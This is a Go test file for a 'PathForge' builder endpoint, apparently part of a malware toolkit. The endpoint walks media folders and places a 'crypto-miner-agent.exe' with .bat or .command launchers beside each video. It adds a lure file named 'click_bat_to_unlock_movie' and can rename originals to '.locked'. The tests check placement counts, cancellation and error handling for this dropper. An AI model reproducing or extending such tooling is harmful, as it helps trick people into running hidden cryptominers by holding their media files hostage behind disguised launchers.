package builder import ( "context" "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "path/filepath" "runtime" "strings" "testing" ) func TestPathForgePlacedExcludesHintFile(t *testing.T) { root := t.TempDir() mediaDir := filepath.Join(root, "movies") if err := os.MkdirAll(mediaDir, 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil { t.Fatal(err) } // Satisfy Windows target requirement. exe, err := os.Executable() if err != nil { t.Fatal(err) } agentDir := filepath.Join(filepath.Dir(exe), "agent") if err := os.MkdirAll(agentDir, 0755); err != nil { t.Fatal(err) } agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe") if runtime.GOOS == "windows" { if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil { t.Fatal(err) } } else { // Non-Windows: mac-only path avoids agent exe requirement. } body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}` if runtime.GOOS != "windows" { body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}` } h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d body=%s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatal(err) } if res.Total != 1 { t.Fatalf("total: %d", res.Total) } // One media file → exe + bat (or .command), not counting hint file. if res.Placed < 1 || res.Placed >= 3 { t.Fatalf("placed should count companions only (not hint): %d", res.Placed) } // Verify each result entry: the hint file must be present (it is placed on // disk alongside the media), and there must be at least one launcher companion // (e.g. .bat/.command/.exe). Together with the Placed assertion above this // confirms the hint is placed but NOT counted in the Placed total. for _, entry := range res.Results { foundHint := false for _, f := range entry.Files { if f == "click_bat_to_unlock_movie" { foundHint = true } } if !foundHint { t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files) } if len(entry.Files) < 2 { t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files) } } } // TestPathForgeContextCancel verifies that cancelling the request context stops // the walk gracefully without hanging or panicking. A pre-cancelled context // causes the walk closure to exit immediately on the first iteration. func TestPathForgeContextCancel(t *testing.T) { root := t.TempDir() for i := 0; i < 5; i++ { name := fmt.Sprintf("video%d.mkv", i) if err := os.WriteFile(filepath.Join(root, name), []byte("data"), 0644); err != nil { t.Fatal(err) } } body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` ctx, cancel := context.WithCancel(context.Background()) cancel() // pre-cancel so the walk exits at the first check h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) req = req.WithContext(ctx) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) // must return promptly, not hang if rec.Code != http.StatusOK { t.Fatalf("expected 200, got %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatalf("response decode: %v", err) } // With a pre-cancelled context the walk stops before placing any files. if res.Placed != 0 { t.Errorf("expected 0 placements with cancelled context, got %d", res.Placed) } t.Logf("context cancel: placed=%d total=%d errors=%d", res.Placed, res.Total, res.Errors) } // TestPathForgePartialPlacementErrorCount verifies that the Placed counter only // reflects successfully placed files; a read-only directory causes placement // failure for that subtree while other directories succeed. func TestPathForgePartialPlacementErrorCount(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("read-only directory permission simulation is not reliable on Windows") } root := t.TempDir() dir1 := filepath.Join(root, "good") dir2 := filepath.Join(root, "locked") if err := os.MkdirAll(dir1, 0755); err != nil { t.Fatal(err) } if err := os.MkdirAll(dir2, 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(dir1, "clip.mkv"), []byte("video"), 0644); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(dir2, "film.mkv"), []byte("video"), 0644); err != nil { t.Fatal(err) } // Make dir2 read-only so companion files cannot be written there. if err := os.Chmod(dir2, 0555); err != nil { t.Fatal(err) } defer func() { _ = os.Chmod(dir2, 0755) }() body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}` h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatal(err) } if res.Total != 2 { t.Fatalf("expected 2 total media files, got %d", res.Total) } // dir1 succeeds; dir2 is read-only so it fails → Placed must not double-count. if res.Placed < 1 { t.Errorf("expected at least 1 placed (from dir1), got %d", res.Placed) } if res.Errors == 0 { t.Errorf("expected at least 1 error from read-only dir2, got 0") } // Placed + Errors must equal Total (every file either placed or errored). if res.Placed+res.Errors != res.Total { t.Errorf("placed(%d)+errors(%d) != total(%d): counts are inconsistent", res.Placed, res.Errors, res.Total) } } // TestPathForgeLockOriginalFalseKeepsOriginal verifies that when lock_original is // false the source media file is not renamed or otherwise modified. func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) { root := t.TempDir() mediaPath := filepath.Join(root, "movie.mkv") if err := os.WriteFile(mediaPath, []byte("video content"), 0644); err != nil { t.Fatal(err) } body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","lock_original":false}` h := NewPathForgeHandler(t.TempDir()) req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body)) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status %d: %s", rec.Code, rec.Body.String()) } var res PathForgeResult if err := json.NewDecoder(rec.Body).Decode(&res); err != nil { t.Fatal(err) } if !res.Success { t.Fatalf("expected success, got errors: %v", res.ErrorList) } // Original file must still exist at its original path. if _, err := os.Stat(mediaPath); err != nil { t.Errorf("original file missing after pathforge (lock_original=false): %v", err) } // .locked variant must NOT have been created. if _, err := os.Stat(mediaPath + ".locked"); err == nil { t.Error("original file was unexpectedly renamed to .locked when lock_original=false") } }